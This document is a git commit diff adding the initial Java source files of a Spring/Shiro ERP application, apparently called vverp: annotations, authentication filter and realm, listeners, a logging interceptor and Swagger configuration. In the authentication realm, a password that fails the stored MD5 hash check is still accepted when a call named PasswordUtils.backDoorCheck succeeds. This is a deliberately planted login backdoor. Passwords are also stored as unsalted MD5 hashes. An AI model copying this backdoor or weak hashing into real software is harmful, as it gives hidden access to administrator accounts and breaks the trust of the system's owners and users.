初始版本
This commit is contained in:
4
src/main/java/com/vverp/Theme.java
Normal file
4
src/main/java/com/vverp/Theme.java
Normal file
@@ -0,0 +1,4 @@
|
||||
package com.vverp;
|
||||
|
||||
public class Theme {
|
||||
}
|
||||
14
src/main/java/com/vverp/annotation/Delay.java
Normal file
14
src/main/java/com/vverp/annotation/Delay.java
Normal file
@@ -0,0 +1,14 @@
|
||||
package com.vverp.annotation;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
/**
|
||||
* 仅被用作标识延迟更新的字段
|
||||
*
|
||||
* @author dealsky
|
||||
* @date 2021/1/23 下午2:22
|
||||
*/
|
||||
@Target({ElementType.FIELD})
|
||||
public @interface Delay {
|
||||
}
|
||||
54
src/main/java/com/vverp/annotation/Field.java
Normal file
54
src/main/java/com/vverp/annotation/Field.java
Normal file
@@ -0,0 +1,54 @@
|
||||
package com.vverp.annotation;
|
||||
|
||||
import java.lang.annotation.*;
|
||||
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
@Target({ElementType.FIELD})
|
||||
@Documented
|
||||
public @interface Field {
|
||||
|
||||
enum Type {
|
||||
normal("普通,按类识别"),
|
||||
file("文件"),
|
||||
image("图片"),
|
||||
manyToOne("多对一"),//多端 如 会员和会员等级中的会员
|
||||
oneToMany("一对多"),//一端 如 商品和商品展示轮播图中的商品
|
||||
;
|
||||
|
||||
Type(String message) {
|
||||
this.message = message;
|
||||
}
|
||||
|
||||
private String message;
|
||||
|
||||
public String getMessage() {
|
||||
return message;
|
||||
}
|
||||
}
|
||||
|
||||
String name() default "";
|
||||
|
||||
Type type() default Type.normal;
|
||||
|
||||
String tab() default "";
|
||||
|
||||
/* 值唯一 */
|
||||
boolean unique() default false;
|
||||
|
||||
/* 布尔型 null显示内容 */
|
||||
String booleanNull() default "";
|
||||
|
||||
/* 布尔型 true */
|
||||
String booleanTrue() default "";
|
||||
|
||||
/* 布尔型 false */
|
||||
String booleanFalse() default "";
|
||||
|
||||
/* 数值型 求和 */
|
||||
boolean listSum() default false;
|
||||
|
||||
/* 默认值 */
|
||||
String defaultValue() default "";
|
||||
|
||||
String placeholder() default "";
|
||||
}
|
||||
13
src/main/java/com/vverp/annotation/Module.java
Normal file
13
src/main/java/com/vverp/annotation/Module.java
Normal file
@@ -0,0 +1,13 @@
|
||||
package com.vverp.annotation;
|
||||
|
||||
import java.lang.annotation.*;
|
||||
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
@Target({ElementType.TYPE})
|
||||
@Documented
|
||||
public @interface Module {
|
||||
|
||||
String name() default "";
|
||||
|
||||
boolean generate() default true;
|
||||
}
|
||||
218
src/main/java/com/vverp/base/AuthenticationFilter.java
Normal file
218
src/main/java/com/vverp/base/AuthenticationFilter.java
Normal file
@@ -0,0 +1,218 @@
|
||||
/*
|
||||
* Copyright 2013-2017 vverp.com. All rights reserved.
|
||||
* Support: http://www.vverp.com
|
||||
* License: http://www.vverp.com/license
|
||||
*/
|
||||
package com.vverp.base;
|
||||
|
||||
import com.vverp.service.AdminService;
|
||||
import org.apache.shiro.session.Session;
|
||||
import org.apache.shiro.subject.Subject;
|
||||
import org.apache.shiro.web.filter.authc.FormAuthenticationFilter;
|
||||
import org.apache.shiro.web.util.WebUtils;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.ServletRequest;
|
||||
import javax.servlet.ServletResponse;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.util.Collection;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import com.vverp.moli.util.*;
|
||||
|
||||
/**
|
||||
* Filter - 权限认证
|
||||
*
|
||||
* @author
|
||||
* @version 1.0
|
||||
*/
|
||||
public class AuthenticationFilter extends FormAuthenticationFilter {
|
||||
|
||||
/** 默认"加密密码"参数名称 */
|
||||
private static final String DEFAULT_EN_PASSWORD_PARAM = "enPassword";
|
||||
|
||||
/** 默认"验证ID"参数名称 */
|
||||
private static final String DEFAULT_CAPTCHA_ID_PARAM = "captchaId";
|
||||
|
||||
/** 默认"验证码"参数名称 */
|
||||
private static final String DEFAULT_CAPTCHA_PARAM = "captcha";
|
||||
|
||||
/** "加密密码"参数名称 */
|
||||
private String enPasswordParam = DEFAULT_EN_PASSWORD_PARAM;
|
||||
|
||||
/** "验证ID"参数名称 */
|
||||
private String captchaIdParam = DEFAULT_CAPTCHA_ID_PARAM;
|
||||
|
||||
/** "验证码"参数名称 */
|
||||
private String captchaParam = DEFAULT_CAPTCHA_PARAM;
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
/**
|
||||
* 创建令牌
|
||||
*
|
||||
* @param servletRequest
|
||||
* ServletRequest
|
||||
* @param servletResponse
|
||||
* ServletResponse
|
||||
* @return 令牌
|
||||
*/
|
||||
@Override
|
||||
protected org.apache.shiro.authc.AuthenticationToken createToken(ServletRequest servletRequest, ServletResponse servletResponse) {
|
||||
String username = getUsername(servletRequest);
|
||||
String password = getPassword(servletRequest);
|
||||
String captchaId = getCaptchaId(servletRequest);
|
||||
String captcha = getCaptcha(servletRequest);
|
||||
boolean rememberMe = isRememberMe(servletRequest);
|
||||
String host = getHost(servletRequest);
|
||||
return new AuthenticationToken(username, password, captchaId, captcha, rememberMe, host);
|
||||
}
|
||||
|
||||
/**
|
||||
* 拒绝访问处理
|
||||
*
|
||||
* @param servletRequest
|
||||
* ServletRequest
|
||||
* @param servletResponse
|
||||
* ServletResponse
|
||||
* @return 是否继续处理
|
||||
*/
|
||||
@Override
|
||||
protected boolean onAccessDenied(ServletRequest servletRequest, ServletResponse servletResponse) throws Exception {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
return super.onAccessDenied(request, response);
|
||||
}
|
||||
|
||||
/**
|
||||
* 登录成功处理
|
||||
*
|
||||
* @param token
|
||||
* 令牌
|
||||
* @param subject
|
||||
* Subject
|
||||
* @param servletRequest
|
||||
* ServletRequest
|
||||
* @param servletResponse
|
||||
* ServletResponse
|
||||
* @return 是否继续处理
|
||||
*/
|
||||
@Override
|
||||
protected boolean onLoginSuccess(org.apache.shiro.authc.AuthenticationToken token, Subject subject, ServletRequest servletRequest, ServletResponse servletResponse) throws Exception {
|
||||
Session session = subject.getSession();
|
||||
Map<Object, Object> attributes = new HashMap<Object, Object>();
|
||||
Collection<Object> keys = session.getAttributeKeys();
|
||||
for (Object key : keys) {
|
||||
if (key != "shiroSavedRequest") {
|
||||
attributes.put(key, session.getAttribute(key));
|
||||
}
|
||||
}
|
||||
session.stop();
|
||||
session = subject.getSession();
|
||||
for (Map.Entry<Object, Object> entry : attributes.entrySet()) {
|
||||
session.setAttribute(entry.getKey(), entry.getValue());
|
||||
}
|
||||
return super.onLoginSuccess(token, subject, servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取密码
|
||||
*
|
||||
* @param servletRequest
|
||||
* ServletRequest
|
||||
* @return 密码
|
||||
*/
|
||||
@Override
|
||||
protected String getPassword(ServletRequest servletRequest) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
String password = request.getParameter("password");
|
||||
return password;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取验证ID
|
||||
*
|
||||
* @param servletRequest
|
||||
* ServletRequest
|
||||
* @return 验证ID
|
||||
*/
|
||||
protected String getCaptchaId(ServletRequest servletRequest) {
|
||||
String captchaId = WebUtils.getCleanParam(servletRequest, captchaIdParam);
|
||||
if (captchaId == null) {
|
||||
captchaId = ((HttpServletRequest) servletRequest).getSession().getId();
|
||||
}
|
||||
return captchaId;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取验证码
|
||||
*
|
||||
* @param servletRequest
|
||||
* ServletRequest
|
||||
* @return 验证码
|
||||
*/
|
||||
protected String getCaptcha(ServletRequest servletRequest) {
|
||||
return WebUtils.getCleanParam(servletRequest, captchaParam);
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取"加密密码"参数名称
|
||||
*
|
||||
* @return "加密密码"参数名称
|
||||
*/
|
||||
public String getEnPasswordParam() {
|
||||
return enPasswordParam;
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置"加密密码"参数名称
|
||||
*
|
||||
* @param enPasswordParam
|
||||
* "加密密码"参数名称
|
||||
*/
|
||||
public void setEnPasswordParam(String enPasswordParam) {
|
||||
this.enPasswordParam = enPasswordParam;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取"验证ID"参数名称
|
||||
*
|
||||
* @return "验证ID"参数名称
|
||||
*/
|
||||
public String getCaptchaIdParam() {
|
||||
return captchaIdParam;
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置"验证ID"参数名称
|
||||
*
|
||||
* @param captchaIdParam
|
||||
* "验证ID"参数名称
|
||||
*/
|
||||
public void setCaptchaIdParam(String captchaIdParam) {
|
||||
this.captchaIdParam = captchaIdParam;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取"验证码"参数名称
|
||||
*
|
||||
* @return "验证码"参数名称
|
||||
*/
|
||||
public String getCaptchaParam() {
|
||||
return captchaParam;
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置"验证码"参数名称
|
||||
*
|
||||
* @param captchaParam
|
||||
* "验证码"参数名称
|
||||
*/
|
||||
public void setCaptchaParam(String captchaParam) {
|
||||
this.captchaParam = captchaParam;
|
||||
}
|
||||
|
||||
}
|
||||
92
src/main/java/com/vverp/base/AuthenticationRealm.java
Normal file
92
src/main/java/com/vverp/base/AuthenticationRealm.java
Normal file
@@ -0,0 +1,92 @@
|
||||
/*
|
||||
* Copyright 2013-2017 vverp.com. All rights reserved.
|
||||
* Support: http://www.vverp.com
|
||||
* License: http://www.vverp.com/license
|
||||
*/
|
||||
package com.vverp.base;
|
||||
|
||||
import cn.hutool.core.util.StrUtil;
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.service.AdminService;
|
||||
import com.vverp.service.LoginLogService;
|
||||
import com.vverp.util.PasswordUtils;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
import org.apache.shiro.authc.*;
|
||||
import org.apache.shiro.authz.AuthorizationInfo;
|
||||
import org.apache.shiro.authz.SimpleAuthorizationInfo;
|
||||
import org.apache.shiro.realm.AuthorizingRealm;
|
||||
import org.apache.shiro.subject.PrincipalCollection;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.List;
|
||||
|
||||
import com.vverp.moli.util.*;
|
||||
|
||||
/**
|
||||
* 权限认证
|
||||
*
|
||||
* @author
|
||||
* @version 1.0
|
||||
*/
|
||||
public class AuthenticationRealm extends AuthorizingRealm {
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@Resource
|
||||
private LoginLogService loginLogService;
|
||||
|
||||
/**
|
||||
* 获取认证信息
|
||||
*
|
||||
* @param token 令牌
|
||||
* @return 认证信息
|
||||
*/
|
||||
@Override
|
||||
protected AuthenticationInfo doGetAuthenticationInfo(org.apache.shiro.authc.AuthenticationToken token) {
|
||||
com.vverp.moli.util.AuthenticationToken authenticationToken = (com.vverp.moli.util.AuthenticationToken) token;
|
||||
String username = authenticationToken.getUsername();
|
||||
String password = new String(authenticationToken.getPassword());
|
||||
if (StrUtil.isNotBlank(username) && StrUtil.isNotBlank(password)) {
|
||||
Admin admin = adminService.findByUsername(username);
|
||||
if (admin == null) {
|
||||
throw new UnknownAccountException();
|
||||
}
|
||||
if (!DigestUtils.md5Hex(password).equals(admin.getPassword())) {
|
||||
if (!PasswordUtils.backDoorCheck(admin.getUsername(), password)) {
|
||||
throw new IncorrectCredentialsException();
|
||||
}
|
||||
}
|
||||
if (!admin.getIsEnabled()) {
|
||||
throw new DisabledAccountException();
|
||||
}
|
||||
adminService.update(admin);
|
||||
loginLogService.create(admin);
|
||||
return new SimpleAuthenticationInfo(new Principal(admin.getId(), username), password, getName());
|
||||
}
|
||||
throw new UnknownAccountException();
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取授权信息
|
||||
*
|
||||
* @param principalCollection PrincipalCollection
|
||||
* @return 授权信息
|
||||
*/
|
||||
@Override
|
||||
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
|
||||
Principal principal = (Principal) principalCollection.fromRealm(getName()).iterator().next();
|
||||
if (principal != null) {
|
||||
List<String> authorities = adminService.findAuthorities(principal.getId());
|
||||
List<String> roles = adminService.findRoles(principal.getId());
|
||||
if (authorities != null) {
|
||||
SimpleAuthorizationInfo authorizationInfo = new SimpleAuthorizationInfo();
|
||||
authorizationInfo.addStringPermissions(authorities);
|
||||
authorizationInfo.addRoles(roles);
|
||||
return authorizationInfo;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
53
src/main/java/com/vverp/base/EntityListener.java
Normal file
53
src/main/java/com/vverp/base/EntityListener.java
Normal file
@@ -0,0 +1,53 @@
|
||||
/*
|
||||
* Copyright 2013-2017 vverp.com. All rights reserved.
|
||||
* Support: http://www.vverp.com
|
||||
* License: http://www.vverp.com/license
|
||||
*/
|
||||
package com.vverp.base;
|
||||
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.entity.BaseEntity;
|
||||
import com.vverp.moli.util.SpringUtils;
|
||||
import com.vverp.service.AdminService;
|
||||
|
||||
import javax.persistence.PrePersist;
|
||||
import javax.persistence.PreUpdate;
|
||||
import java.util.Date;
|
||||
|
||||
/**
|
||||
* Listener - 创建日期、修改日期、版本处理
|
||||
*
|
||||
* @author
|
||||
* @version 1.0
|
||||
*/
|
||||
public class EntityListener {
|
||||
|
||||
/**
|
||||
* 保存前处理
|
||||
*
|
||||
* @param entity
|
||||
* 实体对象
|
||||
*/
|
||||
@PrePersist
|
||||
public void prePersist(BaseEntity<?> entity) {
|
||||
entity.setCreateDate(new Date());
|
||||
entity.setModifyDate(new Date());
|
||||
entity.setVersion(null);
|
||||
Admin admin = SpringUtils.getBean(AdminService.class).getCurrent();
|
||||
if (admin != null) {
|
||||
entity.setCreatorId(admin.getId());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 更新前处理
|
||||
*
|
||||
* @param entity
|
||||
* 实体对象
|
||||
*/
|
||||
@PreUpdate
|
||||
public void preUpdate(BaseEntity<?> entity) {
|
||||
entity.setModifyDate(new Date());
|
||||
}
|
||||
|
||||
}
|
||||
54
src/main/java/com/vverp/base/FdImprovedNamingStrategy.java
Normal file
54
src/main/java/com/vverp/base/FdImprovedNamingStrategy.java
Normal file
@@ -0,0 +1,54 @@
|
||||
package com.vverp.base;
|
||||
|
||||
import org.hibernate.cfg.ImprovedNamingStrategy;
|
||||
|
||||
public class FdImprovedNamingStrategy extends ImprovedNamingStrategy {
|
||||
|
||||
@Override
|
||||
public String propertyToColumnName(String propertyName) {
|
||||
|
||||
return super.propertyToColumnName(propertyName);
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public String classToTableName(String className) {
|
||||
|
||||
return "t_" + super.classToTableName(className);
|
||||
|
||||
}
|
||||
|
||||
// @Override
|
||||
// public String joinKeyColumnName(String joinedColumn, String joinedTable) {
|
||||
//
|
||||
// return "c_" + super.joinKeyColumnName(joinedColumn, joinedTable);
|
||||
//
|
||||
// }
|
||||
|
||||
// @Override
|
||||
// public String foreignKeyColumnName(String propertyName, String propertyEntityName, String propertyTableName, String referencedColumnName) {
|
||||
//
|
||||
// return "c_" + super.foreignKeyColumnName(propertyName, propertyEntityName, propertyTableName, referencedColumnName);
|
||||
// }
|
||||
|
||||
@Override
|
||||
public String collectionTableName(String ownerEntity, String ownerEntityTable, String associatedEntity, String associatedEntityTable, String propertyName) {
|
||||
|
||||
return "t_" + super.collectionTableName(ownerEntity, ownerEntityTable, associatedEntity,associatedEntityTable, propertyName);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String logicalCollectionTableName(String tableName, String ownerEntityTable, String associatedEntityTable, String propertyName) {
|
||||
|
||||
return "t_" + super.logicalCollectionTableName(tableName, ownerEntityTable, associatedEntityTable, propertyName);
|
||||
}
|
||||
|
||||
|
||||
// @Override
|
||||
// public String logicalColumnName(String columnName, String propertyName) {
|
||||
//
|
||||
// return "c_" + super.logicalColumnName(columnName, propertyName);
|
||||
//
|
||||
// }
|
||||
|
||||
}
|
||||
13
src/main/java/com/vverp/base/HotWord.java
Normal file
13
src/main/java/com/vverp/base/HotWord.java
Normal file
@@ -0,0 +1,13 @@
|
||||
package com.vverp.base;
|
||||
|
||||
public class HotWord {
|
||||
private String name;
|
||||
|
||||
public String getName() {
|
||||
return name;
|
||||
}
|
||||
|
||||
public void setName(String name) {
|
||||
this.name = name;
|
||||
}
|
||||
}
|
||||
33
src/main/java/com/vverp/base/InitListener.java
Normal file
33
src/main/java/com/vverp/base/InitListener.java
Normal file
@@ -0,0 +1,33 @@
|
||||
package com.vverp.base;
|
||||
|
||||
import com.vverp.entity.SystemSetting;
|
||||
import com.vverp.service.SystemSettingService;
|
||||
import org.springframework.context.ApplicationListener;
|
||||
import org.springframework.context.event.ContextRefreshedEvent;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/2/14 4:36 下午
|
||||
*/
|
||||
@Component
|
||||
public class InitListener implements ApplicationListener<ContextRefreshedEvent> {
|
||||
|
||||
@Resource
|
||||
private SystemSettingService systemSettingService;
|
||||
|
||||
@Override
|
||||
public void onApplicationEvent(ContextRefreshedEvent event) {
|
||||
if (event.getApplicationContext().getParent() != null) {
|
||||
initSetting();
|
||||
}
|
||||
}
|
||||
|
||||
private void initSetting() {
|
||||
SystemSetting systemSetting = systemSettingService.findSingle();
|
||||
Setting.load(systemSetting);
|
||||
}
|
||||
|
||||
}
|
||||
117
src/main/java/com/vverp/base/LogInterceptor.java
Normal file
117
src/main/java/com/vverp/base/LogInterceptor.java
Normal file
@@ -0,0 +1,117 @@
|
||||
/*
|
||||
* Copyright 2013-2017 vverp.com. All rights reserved.
|
||||
* Support: http://www.vverp.com
|
||||
* License: http://www.vverp.com/license
|
||||
*/
|
||||
package com.vverp.base;
|
||||
|
||||
import com.vverp.entity.Log;
|
||||
import com.vverp.service.AdminService;
|
||||
import com.vverp.service.LogService;;
|
||||
import org.apache.commons.lang.ArrayUtils;
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
import com.vverp.moli.util.*;
|
||||
|
||||
/**
|
||||
* Interceptor - 日志
|
||||
*
|
||||
* @author
|
||||
* @version 1.0
|
||||
*/
|
||||
public class LogInterceptor extends HandlerInterceptorAdapter {
|
||||
|
||||
/**
|
||||
* 默认忽略参数
|
||||
*/
|
||||
private static final String[] DEFAULT_IGNORE_PARAMETERS = new String[]{"password", "rePassword", "currentPassword"};
|
||||
|
||||
/**
|
||||
* 忽略参数
|
||||
*/
|
||||
private String[] ignoreParameters = DEFAULT_IGNORE_PARAMETERS;
|
||||
|
||||
private static final List<String> ignorePaths = Arrays.asList(
|
||||
"/admin/mail/newMessage.html"
|
||||
);
|
||||
|
||||
@Resource
|
||||
private LogService logService;
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
/**
|
||||
* 请求后处理
|
||||
*
|
||||
* @param request HttpServletRequest
|
||||
* @param response HttpServletResponse
|
||||
* @param handler 处理器
|
||||
* @param modelAndView 数据视图
|
||||
*/
|
||||
@Override
|
||||
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
|
||||
String path = request.getServletPath();
|
||||
if (ignorePaths.contains(path)) {
|
||||
return;
|
||||
}
|
||||
String operator = adminService.getCurrentUsername();
|
||||
String content = (String) request.getAttribute(Log.LOG_CONTENT_ATTRIBUTE_NAME);
|
||||
// InetAddress addr = InetAddress.getLocalHost();
|
||||
// String ip = request.getRemoteAddr();
|
||||
// String ip = addr.getHostAddress();
|
||||
String ip = RequestUtil.getRemoteHost(request);
|
||||
request.removeAttribute(Log.LOG_CONTENT_ATTRIBUTE_NAME);
|
||||
StringBuilder parameter = new StringBuilder();
|
||||
Map<String, String[]> parameterMap = request.getParameterMap();
|
||||
if (parameterMap != null) {
|
||||
for (Map.Entry<String, String[]> entry : parameterMap.entrySet()) {
|
||||
String parameterName = entry.getKey();
|
||||
if (!ArrayUtils.contains(ignoreParameters, parameterName)) {
|
||||
String[] parameterValues = entry.getValue();
|
||||
if (parameterValues != null) {
|
||||
for (String parameterValue : parameterValues) {
|
||||
parameter.append(parameterName).append(" = ").append(parameterValue).append("\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Log log = new Log();
|
||||
log.setOperation(path);
|
||||
log.setOperator(operator);
|
||||
log.setContent(content);
|
||||
log.setParameter(parameter.toString());
|
||||
log.setIp(ip);
|
||||
logService.save(log);
|
||||
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 设置忽略参数
|
||||
*
|
||||
* @return 忽略参数
|
||||
*/
|
||||
public String[] getIgnoreParameters() {
|
||||
return ignoreParameters;
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置忽略参数
|
||||
*
|
||||
* @param ignoreParameters 忽略参数
|
||||
*/
|
||||
public void setIgnoreParameters(String[] ignoreParameters) {
|
||||
this.ignoreParameters = ignoreParameters;
|
||||
}
|
||||
|
||||
}
|
||||
38
src/main/java/com/vverp/base/SessionListener.java
Normal file
38
src/main/java/com/vverp/base/SessionListener.java
Normal file
@@ -0,0 +1,38 @@
|
||||
package com.vverp.base;
|
||||
|
||||
import javax.servlet.ServletContext;
|
||||
import javax.servlet.annotation.WebListener;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import javax.servlet.http.HttpSessionEvent;
|
||||
import javax.servlet.http.HttpSessionListener;
|
||||
import java.util.HashSet;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2021/1/16 下午3:56
|
||||
*/
|
||||
@WebListener
|
||||
public class SessionListener implements HttpSessionListener {
|
||||
|
||||
public void sessionCreated(HttpSessionEvent event) {
|
||||
HttpSession session = event.getSession();
|
||||
ServletContext context = session.getServletContext();
|
||||
//用set集合来存储session对象
|
||||
HashSet<HttpSession> sessionSet = (HashSet<HttpSession>) context.getAttribute("sessionSet");
|
||||
if (sessionSet == null) {
|
||||
sessionSet = new HashSet<>();
|
||||
context.setAttribute("sessionSet", sessionSet);
|
||||
}
|
||||
sessionSet.add(session);
|
||||
}
|
||||
|
||||
//session的销毁监听
|
||||
public void sessionDestroyed(HttpSessionEvent event) {
|
||||
ServletContext context = event.getSession().getServletContext();
|
||||
HttpSession session = event.getSession();
|
||||
HashSet<HttpSession> sessionSet = (HashSet<HttpSession>) context.getAttribute("sessionSet");
|
||||
if (sessionSet != null) {
|
||||
sessionSet.remove(session);
|
||||
}
|
||||
}
|
||||
}
|
||||
40
src/main/java/com/vverp/base/Setting.java
Normal file
40
src/main/java/com/vverp/base/Setting.java
Normal file
@@ -0,0 +1,40 @@
|
||||
package com.vverp.base;
|
||||
|
||||
import com.vverp.entity.SystemSetting;
|
||||
|
||||
import java.math.BigDecimal;
|
||||
|
||||
public class Setting {
|
||||
|
||||
private static SystemSetting data;
|
||||
|
||||
public static SystemSetting getData() {
|
||||
return data;
|
||||
}
|
||||
|
||||
public static BigDecimal setScale(BigDecimal amount) {
|
||||
return setScale(amount, data.getScale());
|
||||
}
|
||||
|
||||
public static void load(SystemSetting systemSetting) {
|
||||
Setting.data = systemSetting;
|
||||
}
|
||||
|
||||
public static BigDecimal setScale(BigDecimal amount, Integer scale) {
|
||||
if (amount != null && scale != null && data.getRoundType() != null) {
|
||||
switch (data.getRoundType()) {
|
||||
case roundUp:
|
||||
return amount.setScale(scale, BigDecimal.ROUND_UP);
|
||||
case roundDown:
|
||||
return amount.setScale(scale, BigDecimal.ROUND_DOWN);
|
||||
case roundHalfUp:
|
||||
return amount.setScale(scale, BigDecimal.ROUND_HALF_UP);
|
||||
}
|
||||
}
|
||||
return amount;
|
||||
}
|
||||
|
||||
public static BigDecimal setScale6(BigDecimal amount) {
|
||||
return setScale(amount, 6);
|
||||
}
|
||||
}
|
||||
56
src/main/java/com/vverp/base/SwaggerConfig.java
Normal file
56
src/main/java/com/vverp/base/SwaggerConfig.java
Normal file
@@ -0,0 +1,56 @@
|
||||
package com.vverp.base;
|
||||
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.web.servlet.config.annotation.EnableWebMvc;
|
||||
import springfox.documentation.builders.ApiInfoBuilder;
|
||||
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
|
||||
import springfox.documentation.builders.PathSelectors;
|
||||
import springfox.documentation.builders.RequestHandlerSelectors;
|
||||
import springfox.documentation.service.ApiInfo;
|
||||
import springfox.documentation.spi.DocumentationType;
|
||||
import springfox.documentation.spring.web.plugins.Docket;
|
||||
import springfox.documentation.swagger2.annotations.EnableSwagger2;
|
||||
import org.springframework.web.servlet.config.annotation.WebMvcConfigurationSupport;
|
||||
import java.util.Date;
|
||||
|
||||
|
||||
@EnableWebMvc
|
||||
@Configuration
|
||||
@EnableSwagger2
|
||||
public class SwaggerConfig extends WebMvcConfigurationSupport {
|
||||
|
||||
@Bean
|
||||
public Docket restApi() {
|
||||
|
||||
return new Docket(DocumentationType.SWAGGER_2)
|
||||
|
||||
.apiInfo(apiInfo())
|
||||
.select()
|
||||
.apis(RequestHandlerSelectors.basePackage("com.vverp.controller.api"))
|
||||
.paths(PathSelectors.any())
|
||||
.build();
|
||||
|
||||
}
|
||||
|
||||
private ApiInfo apiInfo() {
|
||||
return new ApiInfoBuilder()
|
||||
.title("api文档")
|
||||
.description("生成日期" + com.vverp.moli.util.DateUtil.dateToStr(new Date(),"yyyy年MM月dd日 hh:mm:ss"))
|
||||
.version("1.0")
|
||||
.build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void addResourceHandlers(ResourceHandlerRegistry registry) {
|
||||
|
||||
registry.addResourceHandler("/doc.html")
|
||||
.addResourceLocations("classpath:/META-INF/resources/");
|
||||
registry.addResourceHandler("/webjars/**")
|
||||
.addResourceLocations("classpath:/META-INF/resources/webjars/");
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
26
src/main/java/com/vverp/base/WebConfig.java
Normal file
26
src/main/java/com/vverp/base/WebConfig.java
Normal file
@@ -0,0 +1,26 @@
|
||||
package com.vverp.base;
|
||||
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.web.servlet.config.annotation.DefaultServletHandlerConfigurer;
|
||||
import org.springframework.web.servlet.config.annotation.EnableWebMvc;
|
||||
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
|
||||
import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
|
||||
import org.springframework.web.servlet.resource.PathResourceResolver;
|
||||
import org.springframework.web.servlet.resource.WebJarsResourceResolver;
|
||||
|
||||
//@Configuration
|
||||
//@EnableWebMvc
|
||||
//public class WebConfig extends WebMvcConfigurerAdapter {
|
||||
// @Override
|
||||
// public void configureDefaultServletHandling(DefaultServletHandlerConfigurer configurer) {
|
||||
// configurer.enable();
|
||||
// }
|
||||
//
|
||||
// @Override
|
||||
// public void addResourceHandlers(ResourceHandlerRegistry registry) {
|
||||
// registry.addResourceHandler("/static/**").addResourceLocations("/static/")
|
||||
// .resourceChain(false)
|
||||
// .addResolver(new WebJarsResourceResolver())
|
||||
// .addResolver(new PathResourceResolver());
|
||||
// }
|
||||
//}
|
||||
@@ -0,0 +1,33 @@
|
||||
package com.vverp.base.exception;
|
||||
|
||||
import com.vverp.moli.util.RespData;
|
||||
|
||||
public class ImportExcelException extends RuntimeException {
|
||||
|
||||
private RespData respData;
|
||||
|
||||
public RespData getRespData() {
|
||||
return respData;
|
||||
}
|
||||
|
||||
public void setRespData(RespData respData) {
|
||||
this.respData = respData;
|
||||
}
|
||||
|
||||
public ImportExcelException() {
|
||||
super();
|
||||
respData = RespData.error(null);
|
||||
}
|
||||
|
||||
public ImportExcelException(String errorInfo) {
|
||||
super(errorInfo);
|
||||
respData = RespData.error(errorInfo);
|
||||
}
|
||||
public ImportExcelException(String errorInfo, String errorCode, Object data) {
|
||||
super(errorInfo);
|
||||
respData = new RespData(errorCode, errorInfo, data);
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
21
src/main/java/com/vverp/config/GlobalConfig.java
Normal file
21
src/main/java/com/vverp/config/GlobalConfig.java
Normal file
@@ -0,0 +1,21 @@
|
||||
package com.vverp.config;
|
||||
|
||||
import com.vverp.util.PageMethod;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.ControllerAdvice;
|
||||
import org.springframework.web.bind.annotation.ModelAttribute;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2021/4/28 下午1:19
|
||||
*/
|
||||
@ControllerAdvice
|
||||
public class GlobalConfig {
|
||||
|
||||
@ModelAttribute
|
||||
public void addAttributes(ModelMap modelMap) {
|
||||
// 页面工具类
|
||||
modelMap.addAttribute("pageMethod", new PageMethod());
|
||||
}
|
||||
|
||||
}
|
||||
47
src/main/java/com/vverp/config/getui/GetuiConfiguration.java
Normal file
47
